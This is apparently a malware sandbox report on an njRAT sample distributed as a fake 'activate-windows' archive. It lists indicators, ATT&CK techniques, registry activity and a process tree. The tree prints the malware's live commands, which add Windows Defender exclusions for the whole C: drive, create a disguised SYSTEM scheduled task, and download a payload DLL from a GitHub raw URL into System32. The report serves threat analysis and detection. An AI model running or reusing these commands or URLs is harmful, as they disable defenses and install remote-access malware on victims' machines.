njrat | hxxps://cdn[.]discordapp[.]com/attachments/1241155149938954361/1316826199187783790/activate-windows[.]rar?ex=675c7577&is=675b23f7&hm=819a1d87c57a337665c84eaa15a12a319312e0f6ce1d43f1870c7f82c4125ec9&

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	MyPrograme.exe

Executes dropped EXE 4 IoCs

pid	Process
3492	MyPrograme.exe
1016	setup.exe
5252	wininitt.exe
5684	wininitt.exe

Loads dropped DLL 5 IoCs

pid	Process
3492	MyPrograme.exe
3492	MyPrograme.exe
4672	rundll32.exe
6004	rundll32.exe
1908	Process not Found

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
35	raw.githubusercontent.com
36	raw.githubusercontent.com
38	raw.githubusercontent.com
40	raw.githubusercontent.com
55	raw.githubusercontent.com
56	raw.githubusercontent.com

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\D3DX9.dll	MyPrograme.exe
File opened for modification	C:\Windows\SysWOW64\D3DX9.dll	MyPrograme.exe
File created	C:\Windows\System32\vcruntime143_thread.dll	powershell.exe
File opened for modification	C:\Windows\System32\vcruntime143_thread.dll	setup.exe
File created	C:\Windows\System32\SppExtComObjHook.dll	powershell.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Help\service	rundll32.exe
File created	C:\Windows\Help\service\wininitt.exe	powershell.exe
File opened for modification	C:\Windows\Help\service\wininitt.exe	rundll32.exe
File opened for modification	C:\Windows\Help\service	rundll32.exe
File created	C:\Windows\Help\service\wininitt.exe	powershell.exe

Launches sc.exe 9 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
388	sc.exe
4664	sc.exe
4644	sc.exe
5148	sc.exe
5964	sc.exe
2004	sc.exe
3976	sc.exe
1076	sc.exe
5984	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 48 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wininitt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MyPrograme.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wininitt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	Integrator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Integrator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Integrator.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1020	timeout.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	MyPrograme.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	MyPrograme.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	Integrator.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	MyPrograme.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	Integrator.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	Integrator.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133784998509690858"	chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedSystemState	reg.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	MyPrograme.exe

Modifies registry key 1 TTPs 46 IoCs

Modify Registry

T1112

pid	Process
4372	reg.exe
4808	reg.exe
2004	reg.exe
6112	reg.exe
6048	reg.exe
1852	reg.exe
5520	reg.exe
4420	reg.exe
1712	reg.exe
5456	reg.exe
5604	reg.exe
4392	reg.exe
3156	reg.exe
312	reg.exe
384	reg.exe
5396	reg.exe
3592	reg.exe
5148	reg.exe
228	reg.exe
5812	reg.exe
2180	reg.exe
5188	reg.exe
5312	reg.exe
5732	reg.exe
5076	reg.exe
5564	reg.exe
5624	reg.exe
5076	reg.exe
6136	reg.exe
5212	reg.exe
1236	reg.exe
5496	reg.exe
312	reg.exe
5660	reg.exe
6020	reg.exe
1060	reg.exe
4568	reg.exe
8	reg.exe
4360	reg.exe
1900	reg.exe
5424	reg.exe
876	reg.exe
6016	reg.exe
1344	reg.exe
5392	reg.exe
5380	reg.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5952	schtasks.exe
5168	schtasks.exe
876	schtasks.exe
1940	schtasks.exe

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
3340	chrome.exe
3340	chrome.exe
3172	powershell.exe
3172	powershell.exe
3172	powershell.exe
2256	powershell.exe
2256	powershell.exe
2256	powershell.exe
5008	powershell.exe
5008	powershell.exe
5008	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
1900	powershell.exe
1900	powershell.exe
1900	powershell.exe
3988	powershell.exe
3988	powershell.exe
3988	powershell.exe
4832	powershell.exe
4832	powershell.exe
4832	powershell.exe
5792	powershell.exe
5792	powershell.exe
5792	powershell.exe
6024	powershell.exe
6024	powershell.exe
6024	powershell.exe
4276	powershell.exe
4276	powershell.exe
4276	powershell.exe
5192	powershell.exe
5192	powershell.exe
5192	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
3340	chrome.exe
3340	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeRestorePrivilege	4540	7zG.exe
Token: 35	4540	7zG.exe
Token: SeSecurityPrivilege	4540	7zG.exe
Token: SeSecurityPrivilege	4540	7zG.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeDebugPrivilege	3172	powershell.exe
Token: SeShutdownPrivilege	3340	chrome.exe
Token: SeCreatePagefilePrivilege	3340	chrome.exe
Token: SeIncreaseQuotaPrivilege	4888	WMIC.exe
Token: SeSecurityPrivilege	4888	WMIC.exe
Token: SeTakeOwnershipPrivilege	4888	WMIC.exe
Token: SeLoadDriverPrivilege	4888	WMIC.exe
Token: SeSystemProfilePrivilege	4888	WMIC.exe
Token: SeSystemtimePrivilege	4888	WMIC.exe
Token: SeProfSingleProcessPrivilege	4888	WMIC.exe
Token: SeIncBasePriorityPrivilege	4888	WMIC.exe
Token: SeCreatePagefilePrivilege	4888	WMIC.exe
Token: SeBackupPrivilege	4888	WMIC.exe
Token: SeRestorePrivilege	4888	WMIC.exe

Suspicious use of FindShellTrayWindow 41 IoCs

pid	Process
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
4540	7zG.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe
3340	chrome.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1016	setup.exe
396	Integrator.exe
396	Integrator.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3340 wrote to memory of 3708	3340	chrome.exe	83
PID 3340 wrote to memory of 3708	3340	chrome.exe	83
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 904	3340	chrome.exe	84
PID 3340 wrote to memory of 1984	3340	chrome.exe	85
PID 3340 wrote to memory of 1984	3340	chrome.exe	85
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86
PID 3340 wrote to memory of 232	3340	chrome.exe	86

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://cdn.discordapp.com/attachments/1241155149938954361/1316826199187783790/activate-windows.rar?ex=675c7577&is=675b23f7&hm=819a1d87c57a337665c84eaa15a12a319312e0f6ce1d43f1870c7f82c4125ec9&
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3340
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffd4807cc40,0x7ffd4807cc4c,0x7ffd4807cc58
  2⤵
  PID:3708
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1916,i,12248815736524452665,1474871372593401166,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1912 /prefetch:2
  2⤵
  PID:904
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2132,i,12248815736524452665,1474871372593401166,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2188 /prefetch:3
  2⤵
  PID:1984
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2220,i,12248815736524452665,1474871372593401166,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2404 /prefetch:8
  2⤵
  PID:232
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3116,i,12248815736524452665,1474871372593401166,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3152 /prefetch:1
  2⤵
  PID:3788
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3124,i,12248815736524452665,1474871372593401166,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3192 /prefetch:1
  2⤵
  PID:4032
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4816,i,12248815736524452665,1474871372593401166,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4828 /prefetch:8
  2⤵
  PID:4564
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4644,i,12248815736524452665,1474871372593401166,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5096 /prefetch:8
  2⤵
  PID:4568

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:1920

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1160

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4044

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\activate-windows\" -spe -an -ai#7zMap12930:94:7zEvent6394
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4540

C:\Users\Admin\Downloads\activate-windows\MyPrograme.exe
"C:\Users\Admin\Downloads\activate-windows\MyPrograme.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Modifies registry class
PID:3492
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\run_setup.bat"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2748
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "setup.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5064
  - - C:\Users\Admin\AppData\Local\Temp\setup.exe
      setup.exe
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      Suspicious use of SetWindowsHookEx
      PID:1016
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\temp_script.bat
        5⤵
        
        PID:2260
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'C:\\*'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3172
      - C:\Windows\system32\timeout.exe
        
        timeout /t 2 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:1020
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\\*'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1908
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks.exe /create /f /RL HIGHEST /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachineCoreUO" /tr "rundll32.exe C:\Windows\System32\vcruntime143_thread.dll,Start"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:876
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\temp_script.bat
        5⤵
        
        PID:1668
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Invoke-Webrequest 'https://raw.githubusercontent.com/zoneprohuub/WOC/main/ZUMBAA' -OutFile 'C:\Windows\System32\vcruntime143_thread.dll'"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:1900
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\temp_script.bat
        5⤵
        
        PID:876
      - C:\Windows\system32\rundll32.exe
        
        rundll32.exe vcruntime143_thread.dll,Start
        6⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Drops file in Windows directory
        
        PID:4672
        
        C:\Windows\system32\schtasks.exe
        
        schtasks.exe /create /f /RL HIGHEST /sc minute /mo 1 /tn "MicrosoftEdgeUpdateTaskMachineCoreUO" /tr "rundll32.exe C:\Windows\System32\vcruntime143_thread.dll,Start"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1940
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\temp_script.bat
        7⤵
        
        PID:4132
        
